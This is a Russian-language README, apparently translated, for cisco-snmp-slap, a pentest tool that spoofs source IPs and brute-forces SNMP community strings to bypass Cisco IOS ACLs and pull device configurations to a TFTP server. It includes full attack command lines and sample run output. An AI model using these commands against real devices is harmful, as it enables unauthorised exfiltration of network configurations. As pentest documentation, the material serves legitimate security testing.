
Инструмент для IP-спуфинга и брутфорса SNMP community-строк, предназначенный для обхода ACL на устройствах Cisco IOS и экфильтрации файлов конфигурации через TFTP.
cisco-snmp-slap использует спуфинг IP-адресов для обхода ACL, защищающего SNMP-сервис на устройстве Cisco IOS.
Обычно IP-спуфинг имеет ограниченное применение в реальных атаках, кроме DoS. Любая TCP- служба не может завершить начальное рукопожатие. UDP-пакеты подделать проще, но ответный пакет часто отправляется на неправильный адрес, что затрудняет сбор любой возвращаемой информации.
Однако если злоумышленник может угадать SNMP-community строку с правами rw и действительный исходный адрес, он может задавать SNMP MIB. Одно из наиболее очевидных применений этого — заставить SNMP-сервис Cisco отправить свой файл конфигурации IOS на другое устройство.
Этот инструмент позволяет перебирать одну или несколько community-строк на устройстве Cisco с одного или нескольких IP-адресов. При указании IP-адресов вы можете выбрать последовательный или случайный проход по диапазону исходных адресов.
Для указания диапазона исходных IP-адресов проверки задаются начальный исходный адрес и IP-маска. Любые установленные биты в IP-маске используются для генерации исходных IP-адресов путём изменения начального исходного адреса.
Например, если указан исходный адрес 10.0.0.0 с IP-маской
0.0.0.255, скрипт проверит адреса от 10.0.0.0 до 10.0.0.255.
Установленные биты не обязаны быть последовательными, как в маске подсети. Например, маска
0.128.1.255 допустима, и будут проверяться диапазоны 10.0,128.0-1.0-255.
При проверке диапазона IP-адресов случайным или последовательным способом требуется указать путь к корню TFTP-каталога. Скрипт будет проверять этот каталог, чтобы определить, был ли файл успешно передан.
Этот инструмент был написан для атак на коммутаторы Cisco уровня 3 (layer 3) во время пентестов, хотя у него могут быть и другие применения. Он хорошо работает против этих устройств, потому что:
Впрочем, я надеюсь, что пользователи найдут другие интересные применения этого скрипта и его исходного кода.
В этом примере я возьму простое устройство IOS с access-списком, защищающим SNMP-сервис с помощью community-строки 'cisco'
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10
IP-адрес устройства IOS — 10.0.0.1.
У пентестера есть IP-адрес 10.0.0.2, и он запустил TFTP-сервер.
Если тестер знает всё это, он использует одноразовый одиночный режим, чтобы забрать файл конфигурации устройства. Например:
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1
Если тестер не знает деталей, он может попробовать угадать. Допустим, тестер провёл разведку и выяснил, что все внутренние адреса находятся в диапазоне 10.0.0.0/8.
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/
Эта команда будет перебирать все /24. Тестер надеется сэкономить время, предполагая, что доступ будет разрешён всей подсети, а не только одному IP-адресу.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community String: cisco
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask: 0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!
Вы заметите, что программа завершается и сообщает об успехе через несколько IP-адресов
после входа в диапазон 10.100.100.0/24. Это связано с тем, что невозможно
определить, какой исходный адрес оказался успешным, но определяется, что один
из запросов был успешным после появления файла конфигурации в tftproot.
Раз вы только что заполучили текущую конфигурацию, теперь можете сами узнать детали ACL.
Вместо указания одной community-строки можно также передать список
строк, которые следует использовать. Имена режимов те же, за исключением суффикса '_l'.
Например, чтобы повторить ту же атаку со списком community-строк в файле list.txt, следует использовать следующие аргументы.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded: ['private\n', 'cisco\n', 'public\n']
10.0.0.5 / private
10.0.0.5 / cisco
10.0.0.5 / public
10.0.1.5 / private
10.0.1.5 / cisco
10.0.1.5 / public
10.0.2.5 / private
10.0.2.5 / cisco
10.0.2.5 / public
10.0.3.5 / private
10.0.3.5 / cisco
10.0.3.5 / public
Теперь каждый IP-адрес проверяется с каждой community-строкой из list.txt.
Среди языков программирования Python — простой язык, лёгкий для чтения и написания, и я призываю вас попытаться отладить и исправить любые найденные проблемы и прислать мне свои изменения, чтобы я мог поделиться ими с другими пользователями в NCC Github.
Но если вам нужна помощь, вы можете связаться со мной по адресу [email protected]. Я сделаю всё возможное, чтобы помочь, но учтите, что я не работаю разработчиком полный рабочий день (что, вероятно, очевидно из моего кода!) и у меня может не быть времени сразу ответить на ваш запрос.